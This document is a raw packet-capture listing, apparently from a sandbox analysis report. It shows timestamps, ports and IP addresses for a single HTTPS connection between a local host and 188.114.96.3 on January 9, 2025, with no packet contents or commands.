Jan 9, 2025 09:31:24.553330898 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.577095985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.577111959 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.577167988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.577176094 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.577225924 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.577708006 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.577722073 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.577775002 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.577779055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.577826977 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.625679016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.625700951 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.625771999 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.625782013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.625849009 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.629983902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.630000114 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.630055904 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.630063057 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.630104065 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.636006117 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.636020899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.636064053 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.636070013 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.636096001 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.636117935 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.636435032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.636450052 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.636499882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.636504889 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.636547089 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.637109041 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.637124062 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.637165070 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.637171030 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.637196064 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.637213945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.640317917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.640333891 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.640389919 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.640396118 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.640419960 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.640444994 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.663948059 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.663964987 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.664056063 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.664062977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.664094925 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.664314985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.664338112 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.664375067 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.664378881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.664410114 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.664455891 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.713134050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.713150024 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.713227034 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.713233948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.713270903 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.716721058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.716753006 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.716784000 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.716794014 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.716820955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.716840982 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.722635031 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.722659111 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.722687960 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.722709894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.722738981 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.722754002 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.723187923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.723202944 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.723249912 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.723254919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.723289967 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.723557949 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.723572969 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.723619938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.723624945 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.723660946 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.726957083 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.726999998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.727081060 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.727087021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.727185965 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.750760078 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.750778913 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.750849009 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.750855923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.750895023 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.751024008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.751040936 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.751079082 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.751084089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.751116991 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.800074100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.800090075 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.800182104 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.800189018 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.800231934 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.803649902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.803668022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.803728104 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.803733110 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.803757906 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.803781033 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.809514999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.809542894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.809585094 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.809591055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.809612036 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.809631109 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.809984922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.810010910 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.810040951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.810045958 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.810069084 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.810092926 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.810288906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.810303926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.810345888 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.810350895 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.810400009 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.813900948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.813915968 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.813961983 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.813966990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.813998938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.814017057 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.837595940 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.837615967 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.837651968 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.837662935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.837678909 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.837717056 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.838048935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.838063955 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.838103056 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.838109016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.838146925 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.886934042 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.886950016 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.887036085 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.887042999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.887085915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.890497923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.890511990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.890562057 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.890567064 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.890593052 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.890613079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.896365881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.896385908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.896449089 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.896454096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.896477938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.896507978 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.896703005 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.896718025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.896771908 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.896776915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.896823883 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.897279978 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.897294998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.897334099 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.897340059 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.897372961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.897388935 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.901227951 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.901282072 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.901287079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.901290894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.901326895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.901344061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.924535990 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.924552917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.924593925 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.924602032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.924632072 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.924654961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.925235033 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.925250053 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.925306082 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.925312042 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.925360918 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.973834991 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.973853111 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.973922968 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.973931074 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.973975897 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.977297068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.977313995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.977360964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.977365971 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.977385998 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.977421999 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.983423948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.983443022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.983489037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.983494043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.983525991 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.983551979 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.983817101 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.983849049 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.983876944 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.983880997 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.983911991 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.983936071 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.984287024 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.984307051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.984354973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.984359026 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.984390974 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.984410048 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.988198042 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.988215923 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.988284111 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:24.988291025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:24.988341093 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.011626959 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.011645079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.011739969 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.011746883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.011787891 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.012135029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.012151003 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.012202978 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.012208939 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.012247086 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.060926914 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.060944080 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.061028004 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.061038017 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.061084986 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.064254999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.064269066 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.064337015 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.064342022 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.064383030 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.070166111 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.070182085 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.070239067 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.070244074 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.070286989 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.070647001 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.070661068 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.070703030 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.070707083 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.070744991 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.070765018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.071109056 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.071122885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.071163893 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.071167946 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.071193933 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.071219921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.075010061 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.075051069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.075079918 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.075084925 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.075114965 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.075134039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.098833084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.098850012 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.098927021 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.098932981 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.098975897 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.099338055 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.099368095 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.099400043 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.099406004 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.099431992 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.099447012 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.147545099 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.147564888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.147667885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.147680044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.147717953 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.150943041 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.150958061 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.151009083 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.151014090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.151047945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.157016993 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.157032967 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.157118082 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.157124043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.157183886 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.157653093 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.157704115 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.157732964 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.157737017 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.157804966 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.157881975 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.157905102 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.157924891 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.157929897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.157939911 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.157988071 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.161967039 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.161990881 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.162056923 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.162061930 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.162127018 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.186053038 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.186068058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.186142921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.186152935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.186191082 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.186534882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.186548948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.186614990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.186619997 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.186666012 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.234400034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.234416008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.234605074 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.234612942 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.234654903 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.237684011 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.237698078 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.237755060 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.237760067 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.237795115 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.244059086 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.244075060 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.244148016 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.244152069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.244189024 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.244441032 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.244460106 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.244508982 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.244513988 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.244549990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.244792938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.244807005 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:25.244860888 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:25.244864941 CET	443	49723	188.114.96.3	192.168.2.6
